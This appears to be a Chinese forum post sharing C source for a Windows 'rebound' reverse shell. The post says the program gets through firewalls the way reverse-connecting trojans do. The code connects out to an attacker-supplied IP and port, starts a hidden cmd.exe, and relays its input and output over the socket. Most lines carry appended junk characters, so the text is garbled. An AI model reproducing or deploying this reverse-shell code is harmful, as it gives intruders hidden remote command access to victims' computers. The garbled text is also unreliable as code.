这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 B`t/21J
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/* ============================== GXIzAB(
Rebound port in Windows NT Qwt0~9n(
By wind,2006/7 ^_i)XdPU
===============================*/ 0w:
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#include OR*JWW[]
#include vcsSi%M\U
hv?T}E
#pragma comment(lib,"wsock32.lib") [& Z-
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void OutputShell(); -EE'xh-zD
SOCKET sClient; E#_2t)20
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h_{f_GQ"
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void main(int argc,char **argv) Kc95yt
{ \|9B:y'y
WSADATA stWsaData; @0s'
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int nRet; iCA-X\E
SOCKADDR_IN stSaiClient,stSaiServer; `^,E4Q y
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if(argc != 3) s9a`2Wm
{ cc*?4C/t
printf("Useage:\n\rRebound DestIP DestPort\n"); qJ(uak
return; p^*a>d:d]
} Y,GlAr s4
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WSAStartup(MAKEWORD(2,2),&stWsaData); Z5n-3h!+ED
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); < K!r\^
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stSaiClient.sin_family = AF_INET; ;"u,G!
stSaiClient.sin_port = htons(0); k(pJVez
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pi~5}bF!a
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) dQ7iieT
{ f|M^UHt8*
printf("Bind Socket Failed!\n"); @'}2xw[eU
return; 7Y[ q)lv
} 4K'U}W
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stSaiServer.sin_family = AF_INET; oJ
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); i9zh
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $*G3'G2'iS
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) o-Dfud@
{ u &1M(~Ub=
printf("Connect Error!"); 2,q*8=?{6P
return; } =)u_q
} 8^+|I,
OutputShell(); MymsDdQ]
} -k7b#
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void OutputShell() uP%VL}%0
{ e-P{)L<s5
char szBuff[1024]; gEsD7]o(=
SECURITY_ATTRIBUTES stSecurityAttributes; X!LiekU!D
OSVERSIONINFO stOsversionInfo; >QvqH 2
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L!l?tM o
STARTUPINFO stStartupInfo; Yg '(
char *szShell; B=K<k+{6"
PROCESS_INFORMATION stProcessInformation; ^|.T\
unsigned long lBytesRead; 'l<$H=ZUVG
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); YToG'#qs
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5I6?gv/
stSecurityAttributes.lpSecurityDescriptor = 0; qjkWCLOd
stSecurityAttributes.bInheritHandle = TRUE; r9u'+$vmF
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0'r}]Mws
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ef{Hj[8
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vb0Ca+}}
stStartupInfo.wShowWindow = SW_HIDE; 3{co.+
stStartupInfo.hStdInput = hReadPipe; ag:<%\2c
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; j -o
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GetVersionEx(&stOsversionInfo); {@7UfJh>
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switch(stOsversionInfo.dwPlatformId) ;:[P/eg
{ 2BO H8Mp9
case 1: UV;I6]$}A7
szShell = "command.com"; W3\+51P
break; `k
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default: teDRX13=;
szShell = "cmd.exe"; ~!TrC<ft
break; n~`jUML2d
} -M]/Xv]
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Lp$&eROFVs
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send(sClient,szMsg,77,0); MJe/ \
while(1) ?P7QAolrr
{ B\AyG4J
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); SP2";,%/9
if(lBytesRead) j/uMSE
{ U/U_q-z]
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [C
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send(sClient,szBuff,lBytesRead,0); _%rkN0-(a
} Qx EmuiN
else js)E:+{A,
{ 9Y# vKb{>
lBytesRead=recv(sClient,szBuff,1024,0); Us&~d"n
if(lBytesRead<=0) break; YL;*%XmAG
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 25xt*30M
} bsc b
} !C' Y
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return; b7M )
}